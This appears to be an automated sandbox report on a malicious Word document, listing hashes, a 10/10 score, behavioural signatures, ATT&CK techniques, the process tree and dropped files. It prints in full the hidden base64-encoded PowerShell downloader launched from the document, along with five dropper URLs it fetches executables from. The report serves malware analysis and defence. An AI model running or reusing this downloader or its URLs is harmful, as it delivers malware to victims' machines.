69e034d0ccd7913d8b96ed546a7018db92f1b8a99ca39fa35830f7e66240f7b0

General

Target

69e034d0ccd7913d8b96ed546a7018db92f1b8a99ca39fa35830f7e66240f7b0.doc
Size

181KB
MD5

e3cdf5c478d6cdbb159c1564526e61e4
SHA1

0bec432c775c47df20f9c525788a765d4fd4fb04
SHA256

69e034d0ccd7913d8b96ed546a7018db92f1b8a99ca39fa35830f7e66240f7b0
SHA512

a38548f243c6a97c88e6b7d3aea1aaef9a524c93b098f4b3a5e083eb9036b31a5a4ba5107f6c6c9d7d609b110814513f55372c5c519997041cf44854276a2e90
SSDEEP

3072:9NO2y/GdywFyktGDWLS0HZWD5w8K7Nk9rD7IBUdasiv8OP7X:9NO2k4PF7tGiL3HJk9rD7bdasiv86D

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://diwafashions.com/wp-admin/mqau6/

exe.dropper

http://designers.hotcom-web.com/ubkskw29clek/qnpm1p/

exe.dropper

http://dixartcontractors.com/cgi-bin/nnuv/

exe.dropper

http://diaspotv.info/wordpress/G/

exe.dropper

http://easyvisaoverseas.com/cgi-bin/v/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4796	3908	Powershell.exe	82

Blocklisted process makes network request 4 IoCs

flow	pid	Process
25	4796	Powershell.exe
53	4796	Powershell.exe
56	4796	Powershell.exe
58	4796	Powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4796	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4836	WINWORD.EXE
4836	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4796	Powershell.exe
4796	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4796	Powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4836	WINWORD.EXE
4836	WINWORD.EXE

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
4836	WINWORD.EXE
4836	WINWORD.EXE
4836	WINWORD.EXE
4836	WINWORD.EXE
4836	WINWORD.EXE
4836	WINWORD.EXE
4836	WINWORD.EXE
4836	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4836 wrote to memory of 5104	4836	WINWORD.EXE	84
PID 4836 wrote to memory of 5104	4836	WINWORD.EXE	84

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\69e034d0ccd7913d8b96ed546a7018db92f1b8a99ca39fa35830f7e66240f7b0.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4836
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:5104

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABWAGgAZAByAGkAZwBwAHQAeQA9ACcARwByAG4AcgBsAHYAagBnAHEAdwBpAGUAbAAnADsAJABRAGgAeQBtAGQAZAB0AHAAdQAgAD0AIAAnADgAOAAyACcAOwAkAFEAeQBmAHIAZgBhAHgAcABzAHAAeQA9ACcAQgBuAGIAbwByAGEAZwB6AGwAcgAnADsAJABLAGEAdABxAGgAcwByAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAaAB5AG0AZABkAHQAcAB1ACsAJwAuAGUAeABlACcAOwAkAE8AYQBqAG4AZAByAHUAbAByAD0AJwBTAHoAdABnAHUAeAB6AHcAdwBrAHUAbwAnADsAJABGAHUAegBqAGQAcwBnAHYAZQA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBDAGwAaQBFAE4AVAA7ACQAVgB4AHkAegB5AHYAeQBzAGYAbQA9ACcAaAB0AHQAcAA6AC8ALwBkAGkAdwBhAGYAYQBzAGgAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbQBxAGEAdQA2AC8AKgBoAHQAdABwADoALwAvAGQAZQBzAGkAZwBuAGUAcgBzAC4AaABvAHQAYwBvAG0ALQB3AGUAYgAuAGMAbwBtAC8AdQBiAGsAcwBrAHcAMgA5AGMAbABlAGsALwBxAG4AcABtADEAcAAvACoAaAB0AHQAcAA6AC8ALwBkAGkAeABhAHIAdABjAG8AbgB0AHIAYQBjAHQAbwByAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBuAG4AdQB2AC8AKgBoAHQAdABwADoALwAvAGQAaQBhAHMAcABvAHQAdgAuAGkAbgBmAG8ALwB3AG8AcgBkAHAAcgBlAHMAcwAvAEcALwAqAGgAdAB0AHAAOgAvAC8AZQBhAHMAeQB2AGkAcwBhAG8AdgBlAHIAcwBlAGEAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHYALwAnAC4AIgBzAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQAUAB1AHcAcQBvAGYAZwBoAGwAPQAnAE4AYgBwAHgAZABuAHUAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAgAGkAbgAgACQAVgB4AHkAegB5AHYAeQBzAGYAbQApAHsAdAByAHkAewAkAEYAdQB6AGoAZABzAGcAdgBlAC4AIgBkAG8AdwBOAEwAbwBhAGQAYABGAGAASQBsAGUAIgAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAsACAAJABLAGEAdABxAGgAcwByAGcAKQA7ACQAUAB5AHUAbQBiAG0AdgBiAHYAdAA9ACcASABuAHgAeQB2AGMAcwBuACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQASwBhAHQAcQBoAHMAcgBnACkALgAiAGwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMgA4ADQAMQAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABhAGAAUgBUACIAKAAkAEsAYQB0AHEAaABzAHIAZwApADsAJABHAGcAdwBqAHkAcwB4AHoAPQAnAFgAYQB2AGMAZABtAHMAbABnAHAAeAAnADsAYgByAGUAYQBrADsAJABVAGIAYQBmAHIAcwBrAGYAeQBiAD0AJwBHAGYAYwB4AGkAeQB1AGEAbQBqAG4AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBwAGEAYwBlAHgAZQByAHUAYgBpAHgAbgA9ACcAQQBrAHoAeQB5AG8AeABoAHAAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4796

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\111CAE3D.wmf

Filesize
444B

MD5
9fcc7e35f8b15ae2d4acd3d44b92d61f

SHA1
1315e4ad0801f3f3c71ffef2e9e47a9015504b1d

SHA256
c4ae343e8e76c2c9e96801ebf23e4a0b9dc29a2296381d931d373ecfa6f8e2e7

SHA512
4b37c00ae2b3843fb586245609c49c674eccc65c594b68c585783ef4cb48c28975536f4f253b4cd0498fdf102d11bea102f2a05509290a016b221813e22289a9

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCD1BF6.tmp\iso690.xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gilaeke5.ua0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
2KB

MD5
3d9a95f584013c29ac4087ea908cab15

SHA1
dc8749f6abfc7bbd0d8117d0311d8708f59e7e0d

SHA256
2328d5c589bda449a73b18576662d5928d6e552ada30e7e6af605eaf32797a51

SHA512
f0c148e4b53dcceaf8c804d691513680bf1a0f0ec6fd72eb9c9b884d2bb5e245444d8f2a4b4930688d719c7506e147eb585d1f8f033d5596be31e9dd53f3b98e

Download Submit
memory/4796-50-0x000001D153220000-0x000001D153242000-memory.dmp

Filesize
136KB

Download
memory/4836-9-0x00007FFA3C9B0000-0x00007FFA3C9C0000-memory.dmp

Filesize
64KB

Download
memory/4836-11-0x00007FFA7C930000-0x00007FFA7CB25000-memory.dmp

Filesize
2.0MB

Download
memory/4836-2-0x00007FFA3C9B0000-0x00007FFA3C9C0000-memory.dmp

Filesize
64KB

Download
memory/4836-7-0x00007FFA7C930000-0x00007FFA7CB25000-memory.dmp

Filesize
2.0MB

Download
memory/4836-12-0x00007FFA7C930000-0x00007FFA7CB25000-memory.dmp

Filesize
2.0MB

Download
memory/4836-14-0x00007FFA7C930000-0x00007FFA7CB25000-memory.dmp

Filesize
2.0MB

Download
memory/4836-15-0x00007FFA3A950000-0x00007FFA3A960000-memory.dmp

Filesize
64KB

Download
memory/4836-16-0x00007FFA7C930000-0x00007FFA7CB25000-memory.dmp

Filesize
2.0MB

Download
memory/4836-17-0x00007FFA7C930000-0x00007FFA7CB25000-memory.dmp

Filesize
2.0MB

Download
memory/4836-18-0x00007FFA3A950000-0x00007FFA3A960000-memory.dmp

Filesize
64KB

Download
memory/4836-13-0x00007FFA7C930000-0x00007FFA7CB25000-memory.dmp

Filesize
2.0MB

Download
memory/4836-8-0x00007FFA7C930000-0x00007FFA7CB25000-memory.dmp

Filesize
2.0MB

Download
memory/4836-10-0x00007FFA7C930000-0x00007FFA7CB25000-memory.dmp

Filesize
2.0MB

Download
memory/4836-6-0x00007FFA3C9B0000-0x00007FFA3C9C0000-memory.dmp

Filesize
64KB

Download
memory/4836-5-0x00007FFA7C930000-0x00007FFA7CB25000-memory.dmp

Filesize
2.0MB

Download
memory/4836-4-0x00007FFA7C930000-0x00007FFA7CB25000-memory.dmp

Filesize
2.0MB

Download
memory/4836-3-0x00007FFA3C9B0000-0x00007FFA3C9C0000-memory.dmp

Filesize
64KB

Download
memory/4836-64-0x00007FFA7C930000-0x00007FFA7CB25000-memory.dmp

Filesize
2.0MB

Download
memory/4836-65-0x00007FFA7C9CD000-0x00007FFA7C9CE000-memory.dmp

Filesize
4KB

Download
memory/4836-66-0x00007FFA7C930000-0x00007FFA7CB25000-memory.dmp

Filesize
2.0MB

Download
memory/4836-67-0x00007FFA7C930000-0x00007FFA7CB25000-memory.dmp

Filesize
2.0MB

Download
memory/4836-68-0x00007FFA7C930000-0x00007FFA7CB25000-memory.dmp

Filesize
2.0MB

Download
memory/4836-0-0x00007FFA7C9CD000-0x00007FFA7C9CE000-memory.dmp

Filesize
4KB

Download
memory/4836-1-0x00007FFA3C9B0000-0x00007FFA3C9C0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads